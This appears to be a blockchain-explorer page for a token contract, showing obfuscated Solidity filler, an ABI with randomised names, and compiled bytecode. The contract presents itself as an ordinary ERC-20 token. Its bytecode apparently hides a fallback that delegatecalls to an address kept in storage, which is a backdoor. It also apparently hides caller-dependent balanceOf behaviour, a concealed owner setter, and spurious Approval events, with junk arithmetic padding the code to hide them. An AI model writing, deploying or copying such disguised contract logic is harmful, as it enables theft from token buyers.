gt(OblpdjQSFWHw,7378763){ OblpdjQSFWHw:=div(OblpdjQSFWHw,2) } OblpdjQSFWHw:=add(7378763,4953751) if gt(OblpdjQSFWHw,8167444){ OblpdjQSFWHw:=div(OblpdjQSFWHw,2) } OblpdjQSFWHw:=mod(8167444,5183347) if gt(OblpdjQSFWHw,9979697){ OblpdjQSFWHw:=div(OblpdjQSFWHw,2) } OblpdjQSFWHw:=add(9979697,4698492) if gt(OblpdjQSFWHw,5150830){ OblpdjQSFWHw:=div(OblpdjQSFWHw,2) } OblpdjQSFWHw:=div(5150830,3432534) if gt(OblpdjQSFWHw,8013673){ OblpdjQSFWHw:=div(OblpdjQSFWHw,2) } OblpdjQSFWHw:=mod(8013673,2402518) if gt(OblpdjQSFWHw,6805760){ OblpdjQSFWHw:=div(OblpdjQSFWHw,2) } OblpdjQSFWHw:=sub(6805760,283494) if gt(OblpdjQSFWHw,4330895){ OblpdjQSFWHw:=div(OblpdjQSFWHw,2) } OblpdjQSFWHw:=div(4330895,4021706) if gt(OblpdjQSFWHw,3602402){ OblpdjQSFWHw:=div(OblpdjQSFWHw,2) } OblpdjQSFWHw:=sub(3602402,2229547) } return OblpdjQSFWHw;}}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"CJBTAHo","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"Fw76ca3BYNjF4aVw","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"nonpayable","type":"fallback"},{"inputs":[{"internalType":"string","name":"tokenName","type":"string"},{"internalType":"string","name":"coinSymbol","type":"string"},{"internalType":"uint256","name":"supply_","type":"uint256"}],"name":"BH89gGxakKTAhoI9","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"BzEX3IulZnM","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"EwPWEgRayTYLAY8B","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"H6TaKDsxluB","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Vx0Tr2FA6geatw2H","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WBNB","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WSKBgRKZ7L","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"XS0OJvCFEDhTCvQ","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"XtAQqM53zq2MG","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"YDYJ6x4tbn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"CJBTAHo","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"CJBTAHo","type":"address"},{"internalType":"uint256","name":"yNZMJGy8V0faR","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"bQr2v5WZcg40YA3tudbI","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"Glpzt2gvzVJ","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"CJBTAHo","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fJDw68jQNxN","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"iiQzY68jNI7z5mANkS","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"CJBTAHo","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"yNZMJGy8V0faR","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"yNZMJGy8V0faR","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Fw76ca3BYNjF4aVw","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"xCVtvb6mOpE68otDnBbm","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"yp5p9NLrixtDpj5oxH","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040523480156200001157600080fd5b5062000023326200004460201b60201c565b6200003e30680ad78ebc5ac62000006200010860201b60201c565b6200046f565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200017b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620001729062000360565b60405180910390fd5b6000621f61f9816200018e9190620003b0565b905061099e81116200019f57600080fd5b621658f381620001b09190620003b0565b90506119698111620001c157600080fd5b6209a80181620001d29190620003b0565b9050611af68111620001e357600080fd5b6230734e81620001f49190620003b0565b905061013781116200020557600080fd5b6225307181620002169190620003b0565b9050610b6a81116200022757600080fd5b612a6781620002379190620003b0565b9050611ff181116200024857600080fd5b81600360008282546200025c9190620003b0565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620002b49190620003b0565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516200031b919062000382565b60405180910390a3505050565b600062000337601f836200039f565b9150620003448262000446565b602082019050919050565b6200035a816200040d565b82525050565b600060208201905081810360008301526200037b8162000328565b9050919050565b60006020820190506200039960008301846200034f565b92915050565b600082825260208201905092915050565b6000620003bd826200040d565b9150620003ca836200040d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000402576200040162000417565b5b828201905092915050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b613640806200047f6000396000f3fe6080604052600436106101c65760003560e01c806370a08231116100f7578063a457c2d711610095578063bfa15dc411610064578063bfa15dc4146106e2578063c0a680591461070d578063dd62ed3e14610738578063f2fde38b14610775576101cd565b8063a457c2d714610614578063a9059cbb14610651578063aaead62a1461068e578063b27f080d146106b7576101cd565b80638da5cb5b116100d15780638da5cb5b146105685780638dd9500214610593578063941b9406146105be57806395d89b41146105e9576101cd565b806370a08231146104e9578063715018a614610526578063861ccd4f1461053d576101cd565b806323b872dd11610164578063313ce5671161013e578063313ce5671461042b57806339509351146104565780635e63d92b146104935780635ea1bb84146104be576101cd565b806323b872dd146103985780632a988eeb146103d55780632cb1713214610400576101cd565b80630be4466e116101a05780630be4466e146102ec57806318160ddd14610317578063181916c51461034257806320341d2d1461036d576101cd565b806306fdde0314610259578063095ea7b3146102845780630ad05bd0146102c1576101cd565b366101cd57005b3480156101d957600080fd5b50600080368080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509050600860040260046020018201511415610256576020600082516004600802840130545af461025057600080fd5b60206000f35b50005b34801561026557600080fd5b5061026e61079e565b60405161027b9190612e97565b60405180910390f35b34801561029057600080fd5b506102ab60048036038101906102a69190612b71565b6108ce565b6040516102b89190612e7c565b60405180910390f35b3480156102cd57600080fd5b506102d66108f1565b6040516102e39190612fd9565b60405180910390f35b3480156102f857600080fd5b50610301610a74565b60405161030e9190612fd9565b60405180910390f35b34801561032357600080fd5b5061032c610b66565b6040516103399190612fd9565b60405180910390f35b34801561034e57600080fd5b50610357610c49565b6040516103649190612fd9565b60405180910390f35b34801561037957600080fd5b50610382610d01565b60405161038f9190612fd9565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba9190612b1e565b610db9565b6040516103cc9190612e7c565b60405180910390f35b3480156103e157600080fd5b506103ea610de8565b6040516103f79190612fd9565b60405180910390f35b34801561040c57600080fd5b50610415610ef7565b6040516104229190612fd9565b60405180910390f35b34801561043757600080fd5b50610440610f92565b60405161044d9190612ff4565b60405180910390f35b34801561046257600080fd5b5061047d60048036038101906104789190612b71565b611076565b60405161048a9190612e7c565b60405180910390f35b34801561049f57600080fd5b506104a86110ad565b6040516104b59190612fd9565b60405180910390f35b3480156104ca57600080fd5b506104d36111bb565b6040516104e09190612fd9565b60405180910390f35b3480156104f557600080fd5b50610510600480360381019061050b9190612ab1565b611273565b60405161051d9190612fd9565b60405180910390f35b34801561053257600080fd5b5061053b6113da565b005b34801561054957600080fd5b506105526114f8565b60405161055f9190612fd9565b60405180910390f35b34801561057457600080fd5b5061057d611698565b60405161058a9190612e61565b60405180910390f35b34801561059f57600080fd5b506105a86117b9565b6040516105b59190612e61565b60405180910390f35b3480156105ca57600080fd5b506105d36117d1565b6040516105e09190612fd9565b60405180910390f35b3480156105f557600080fd5b506105fe6118a6565b60405161060b9190612e97565b60405180910390f35b34801561062057600080fd5b5061063b60048036038101906106369190612b71565b611a13565b6040516106489190612e7c565b60405180910390f35b34801561065d57600080fd5b5061067860048036038101906106739190612b71565b611a8a565b6040516106859190612e7c565b60405180910390f35b34801561069a57600080fd5b506106b560048036038101906106b09190612bb1565b611aad565b005b3480156106c357600080fd5b506106cc611b58565b6040516106d99190612fd9565b60405180910390f35b3480156106ee57600080fd5b506106f7611c10565b6040516107049190612fd9565b60405180910390f35b34801561071957600080fd5b50610722611d58565b60405161072f9190612fd9565b60405180910390f35b34801561074457600080fd5b5061075f600480360381019061075a9190612ade565b611edb565b60405161076c9190612fd9565b60405180910390f35b34801561078157600080fd5b5061079c60048036038101906107979190612ab1565b611f62565b005b606060006223aab3816107b19190613097565b905061151681116107c157600080fd5b62263dad816107d09190613097565b90506107a281116107e057600080fd5b622a9e1b816107ef9190613097565b905061240f81116107ff57600080fd5b623215778161080e9190613097565b905061052b811161081e57600080fd5b62246e178161082d9190613097565b90506124f0811161083d57600080fd5b6005805461084a90613212565b80601f016020809104026020016040519081016040528092919081815260200182805461087690613212565b80156108c35780601f10610898576101008083540402835291602001916108c3565b820191906000526020600020905b8154815290600101906020018083116108a657829003601f168201915b505050505091505090565b6000806108d9612053565b90506108e681858561205b565b600191505092915050565b60008062927b3a811115610906576002810490505b6238c2be62927b3a019050628a3895811115610923576002810490505b620b61a6628a3895049050622c5e92811115610940576002810490505b62117e20622c5e920290506287087481111561095d576002810490505b62426e8b628708740490506258f7eb81111561097a576002810490505b6220f8cd6258f7eb039050628edda8811115610997576002810490505b625690a6628edda8049050629589ac8111156109b4576002810490505b623368bd629589ac039050626b95e28111156109d1576002810490505b62440027626b95e2039050622eee008111156109ee576002810490505b6216ccf8622eee000690506255e85f811115610a0b576002810490505b6252cbd06255e85f0690506278a0b9811115610a28576002810490505b623929f66278a0b9019050628fb166811115610a45576002810490505b623e46e8628fb1660290506242b7fb811115610a62576002810490505b622352646242b7fb0490508091505090565b6000806270974b811115610a89576002810490505b624b96976270974b019050627ca014811115610aa6576002810490505b624f1773627ca01406905062984731811115610ac3576002810490505b6247b17c62984731019050624e986e811115610ae0576002810490505b62346056624e986e049050627a4769811115610afd576002810490505b6224a8d6627a47690690506267d900811115610b1a576002810490505b620453666267d9000390506242158f811115610b37576002810490505b623d5dca6242158f0490506236f7e2811115610b54576002810490505b6222052b6236f7e20390508091505090565b600080622693cc81610b789190613097565b90506112e68111610b8857600080fd5b6244bfad81610b979190613097565b90506118258111610ba757600080fd5b620e959d81610bb69190613097565b90506125b68111610bc657600080fd5b622e5deb81610bd59190613097565b90506123a28111610be557600080fd5b622513df81610bf49190613097565b9050610f658111610c0457600080fd5b621879f081610c139190613097565b905060568111610c2257600080fd5b61811b81610c309190613097565b9050610c828111610c4057600080fd5b60035491505090565b600080624902c7811115610c5e576002810490505b620f754a624902c7049050626f0938811115610c7b576002810490505b620d7bac626f0938029050623b16a9811115610c98576002810490505b6233c14b623b16a9029050627df6e1811115610cb5576002810490505b620ba88b627df6e102905062650d55811115610cd2576002810490505b623fc82d62650d55039050626f91ba811115610cef576002810490505b622d110a626f91ba0390508091505090565b600080621f887d811115610d16576002810490505b620b1113621f887d04905062390405811115610d33576002810490505b622cf31f623904050190506295cbbb811115610d50576002810490505b62358e756295cbbb019050620cb9b0811115610d6d576002810490505b6203a4e3620cb9b00490506285f305811115610d8a576002810490505b624fd93c6285f3050390506212d85b811115610da7576002810490505b620828306212d85b0290508091505090565b600080610dc4612053565b9050610dd18582856122e3565b610ddc85858561236f565b60019150509392505050565b6000806282f29b811115610dfd576002810490505b620173406282f29b03905062731703811115610e1a576002810490505b621d376962731703069050624bd083811115610e37576002810490505b6248ab58624bd083029050628ee168811115610e54576002810490505b6206c54a628ee16801905062557e97811115610e71576002810490505b621d6a2d62557e9702905062457a8c811115610e8e576002810490505b6209e48f62457a8c039050625f7909811115610eab576002810490505b625a48b4625f7909039050628f5564811115610ec8576002810490505b624bfb0d628f5564069050629244a9811115610ee5576002810490505b624952df629244a90690508091505090565b600080629292bb811115610f0c576002810490505b62399e43629292bb019050629689ef811115610f29576002810490505b625757f7629689ef0690506235d9b4811115610f46576002810490505b622534226235d9b40390506285e607811115610f63576002810490505b622c650d6285e6070290506264175d811115610f80576002810490505b6257b0cf6264175d0690508091505090565b6000806215979d81610fa49190613097565b90506112248111610fb457600080fd5b622e20a981610fc39190613097565b9050611a388111610fd357600080fd5b62137d7d81610fe29190613097565b90506110b78111610ff257600080fd5b62482cc3816110019190613097565b9050611c1b811161101157600080fd5b621050df816110209190613097565b9050610771811161103057600080fd5b62282ad48161103f9190613097565b90506105dd811161104f57600080fd5b624f23a78161105e9190613097565b9050610348811161106e57600080fd5b600991505090565b600080611081612053565b90506110a28185856110938589611edb565b61109d9190613097565b61205b565b600191505092915050565b600080628ab84d8111156110c2576002810490505b620786ed628ab84d02905062886a018111156110df576002810490505b62569e2462886a01049050626407078111156110fc576002810490505b6246319a62640707039050625b52fb811115611119576002810490505b620313e6625b52fb049050621bab90811115611136576002810490505b611c03621bab90069050628f32d7811115611152576002810490505b62391dfd628f32d704905062901e7881111561116f576002810490505b6226ccad62901e7803905062587a3f81111561118c576002810490505b6208ff6f62587a3f029050628b64d38111156111a9576002810490505b620fc5cb628b64d30290508091505090565b6000806294e12d8111156111d0576002810490505b622bd4ab6294e12d049050624e20788111156111ed576002810490505b622aa36e624e207801905062802c2d81111561120a576002810490505b620700a562802c2d0190506221977e811115611227576002810490505b62130f406221977e02905062602def811115611244576002810490505b6208b58b62602def069050625f228d811115611261576002810490505b62333f22625f228d0190508091505090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156112e85760006112d561263b565b90506020548110156112e657600080fd5b505b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561138557600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506113d5565b600354600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113d29190613275565b90505b919050565b3273ffffffffffffffffffffffffffffffffffffffff166113f9611698565b73ffffffffffffffffffffffffffffffffffffffff161461144f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144690612f59565b60405180910390fd5b600062284f90816114609190613097565b90506115db811161147057600080fd5b624b1cf38161147f9190613097565b905060e8811161148e57600080fd5b62465f548161149d9190613097565b905061222f81116114ad57600080fd5b622144e7816114bc9190613097565b90506104d881116114cc57600080fd5b62315b6c816114db9190613097565b905061025681116114eb57600080fd5b6114f5600061274d565b50565b60008062637e0c81111561150d576002810490505b625a91ad62637e0c02905062616e2481111561152a576002810490505b6242e23362616e24019050627bbf47811115611547576002810490505b6247e2cc627bbf4702905062813118811115611564576002810490505b62418091628131180490506277648f811115611581576002810490505b620a9f126277648f039050626105fc81111561159e576002810490505b6206b277626105fc029050626d84238111156115bb576002810490505b62400f82626d8423039050623e70348111156115d8576002810490505b623d05a3623e7034049050627066e28111156115f5576002810490505b62065275627066e2069050622bc8bc811115611612576002810490505b62087bc5622bc8bc0690506223ded681111561162f576002810490505b621148ba6223ded60490506285127f81111561164c576002810490505b62311ca56285127f049050625a0a85811115611669576002810490505b624e9ce5625a0a8504905062758b6f811115611686576002810490505b623311ca62758b6f0290508091505090565b6000806248542e816116aa9190613097565b9050610a5181116116ba57600080fd5b620b413c816116c99190613097565b905061057181116116d957600080fd5b62113d94816116e89190613097565b9050611c8b81116116f857600080fd5b620562b2816117079190613097565b90506110fc811161171757600080fd5b6259b00f816117269190613097565b9050611117811161173657600080fd5b62506aa3816117459190613097565b9050610edf811161175557600080fd5b62166dd5816117649190613097565b9050610ba5811161177457600080fd5b62397eca816117839190613097565b90506034811161179257600080fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691505090565b73bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c81565b60008062981d2f8111156117e6576002810490505b6207a24d62981d2f02905062878c62811115611803576002810490505b62202c0262878c620690506284733d811115611820576002810490505b6255d3a86284733d0290506260331481111561183d576002810490505b623bebe5626033140490506270989081111561185a576002810490505b622cead4627098900390506263bc78811115611877576002810490505b62270e676263bc7801905062358eb9811115611894576002810490505b62026b7562358eb90190508091505090565b606060006234c084816118b99190613097565b905061154f81116118c957600080fd5b6233d39c816118d89190613097565b905061074a81116118e857600080fd5b62366f61816118f79190613097565b9050611ccf811161190757600080fd5b6204b01a816119169190613097565b905060a2811161192557600080fd5b624d0e26816119349190613097565b9050610547811161194457600080fd5b621f38ac816119539190613097565b905061223e811161196357600080fd5b624e0f51816119729190613097565b90506123dd811161198257600080fd5b6006805461198f90613212565b80601f01602080910402602001604051908101604052809291908181526020018280546119bb90613212565b8015611a085780601f106119dd57610100808354040283529160200191611a08565b820191906000526020600020905b8154815290600101906020018083116119eb57829003601f168201915b505050505091505090565b600080611a1e612053565b90506000611a2c8286611edb565b905083811015611a71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6890612fb9565b60405180910390fd5b611a7e828686840361205b565b60019250505092915050565b600080611a95612053565b9050611aa281858561236f565b600191505092915050565b3273ffffffffffffffffffffffffffffffffffffffff16611acc611698565b73ffffffffffffffffffffffffffffffffffffffff1614611b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1990612f59565b60405180910390fd5b8160069080519060200190611b3892919061295f565b508260059080519060200190611b4f92919061295f565b50333055505050565b6000806242ebc7811115611b6d576002810490505b621bd91d6242ebc706905062423ecb811115611b8a576002810490505b6226b20062423ecb049050625fb30c811115611ba7576002810490505b6202dc67625fb30c069050626e533a811115611bc4576002810490505b6245600c626e533a0490506277c8ca811115611be1576002810490505b6203b6be6277c8ca019050625f59e1811115611bfe576002810490505b62202258625f59e10490508091505090565b6000806213f986811115611c25576002810490505b62060f266213f9860690506266eb6a811115611c42576002810490505b625a90386266eb6a039050628d14df811115611c5f576002810490505b620aed80628d14df049050626c1a9f811115611c7c576002810490505b62121d9a626c1a9f0190506254ca67811115611c99576002810490505b62133c8b6254ca670190506279d2bd811115611cb6576002810490505b62207e726279d2bd029050627e94c6811115611cd3576002810490505b621b4850627e94c603905062561bac811115611cf0576002810490505b6239b5da62561bac029050621e50b4811115611d0d576002810490505b61e8a8621e50b406905062136dce811115611d29576002810490505b62110e9362136dce01905062578e57811115611d46576002810490505b6235905862578e570190508091505090565b600080626a42bb811115611d6d576002810490505b625ab1a8626a42bb0290506266577f811115611d8a576002810490505b6255c0476266577f069050626869e6811115611da7576002810490505b62505052626869e604905062741e82811115611dc4576002810490505b622ec23b62741e8204905062714b2d811115611de1576002810490505b625449e062714b2d0490506295860a811115611dfe576002810490505b623cd1766295860a049050626c0346811115611e1b576002810490505b6223cb31626c03460490506271f604811115611e38576002810490505b624a8b1a6271f60402905062613da4811115611e55576002810490505b6255b4c962613da4029050624249ed811115611e72576002810490505b6225573f624249ed019050623c2d2a811115611e8f576002810490505b62228690623c2d2a049050623f56da811115611eac576002810490505b622f1d56623f56da01905062772195811115611ec9576002810490505b624c1f23627721950390508091505090565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3273ffffffffffffffffffffffffffffffffffffffff16611f81611698565b73ffffffffffffffffffffffffffffffffffffffff1614611fd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fce90612f59565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612047576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203e90612ed9565b60405180910390fd5b6120508161274d565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156120cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c290612f99565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561213b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213290612ef9565b60405180910390fd5b60006248431c8161214c9190613097565b90506103b8811161215c57600080fd5b62141a858161216b9190613097565b905061249f811161217b57600080fd5b62538d668161218a9190613097565b9050611749811161219a57600080fd5b622f1070816121a99190613097565b9050610fa081116121b957600080fd5b6220110b816121c89190613097565b905061051081116121d857600080fd5b62412409816121e79190613097565b905061163a81116121f757600080fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516122d59190612fd9565b60405180910390a350505050565b60006122ef8484611edb565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114612369578181101561235b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235290612f19565b60405180910390fd5b612368848484840361205b565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156123df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123d690612f79565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561244857503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b612487576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247e90612eb9565b60405180910390fd5b612492838383612811565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612519576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161251090612f39565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546125689190613147565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546125be9190613097565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126229190612fd9565b60405180910390a3612635848484612816565b50505050565b60008073bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c73ffffffffffffffffffffffffffffffffffffffff166370a08231600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516024016126a19190612e61565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516126ef9190612e4a565b600060405180830381855afa9150503d806000811461272a576040519150601f19603f3d011682016040523d82523d6000602084013e61272f565b606091505b50915050808060200190518101906127479190612c3c565b91505090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b60fe60035461282591906130ed565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561287557600060205561295a565b600354600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541080156129135750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612959578060005230827f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560206000a361270f54828161271001558060010161270f55505b5b505050565b82805461296b90613212565b90600052602060002090601f01602090048101928261298d57600085556129d4565b82601f106129a657805160ff19168380011785556129d4565b828001600101855582156129d4579182015b828111156129d35782518255916020019190600101906129b8565b5b5090506129e191906129e5565b5090565b5b808211156129fe5760008160009055506001016129e6565b5090565b6000612a15612a1084613034565b61300f565b905082815260208101848484011115612a3157612a30613367565b5b612a3c8482856131d0565b509392505050565b600081359050612a53816135dc565b92915050565b600082601f830112612a6e57612a6d613362565b5b8135612a7e848260208601612a02565b91505092915050565b600081359050612a96816135f3565b92915050565b600081519050612aab816135f3565b92915050565b600060208284031215612ac757612ac6613371565b5b6000612ad584828501612a44565b91505092915050565b60008060408385031215612af557612af4613371565b5b6000612b0385828601612a44565b9250506020612b1485828601612a44565b9150509250929050565b600080600060608486031215612b3757612b36613371565b5b6000612b4586828701612a44565b9350506020612b5686828701612a44565b9250506040612b6786828701612a87565b9150509250925092565b60008060408385031215612b8857612b87613371565b5b6000612b9685828601612a44565b9250506020612ba785828601612a87565b9150509250929050565b600080600060608486031215612bca57612bc9613371565b5b600084013567ffffffffffffffff811115612be857612be761336c565b5b612bf486828701612a59565b935050602084013567ffffffffffffffff811115612c1557612c1461336c565b5b612c2186828701612a59565b9250506040612c3286828701612a87565b9150509250925092565b600060208284031215612c5257612c51613371565b5b6000612c6084828501612a9c565b91505092915050565b612c728161317b565b82525050565b612c818161318d565b82525050565b6000612c9282613065565b612c9c818561307b565b9350612cac8185602086016131df565b80840191505092915050565b6000612cc382613070565b612ccd8185613086565b9350612cdd8185602086016131df565b612ce681613376565b840191505092915050565b6000612cfe602383613086565b9150612d0982613387565b604082019050919050565b6000612d21602683613086565b9150612d2c826133d6565b604082019050919050565b6000612d44602283613086565b9150612d4f82613425565b604082019050919050565b6000612d67601d83613086565b9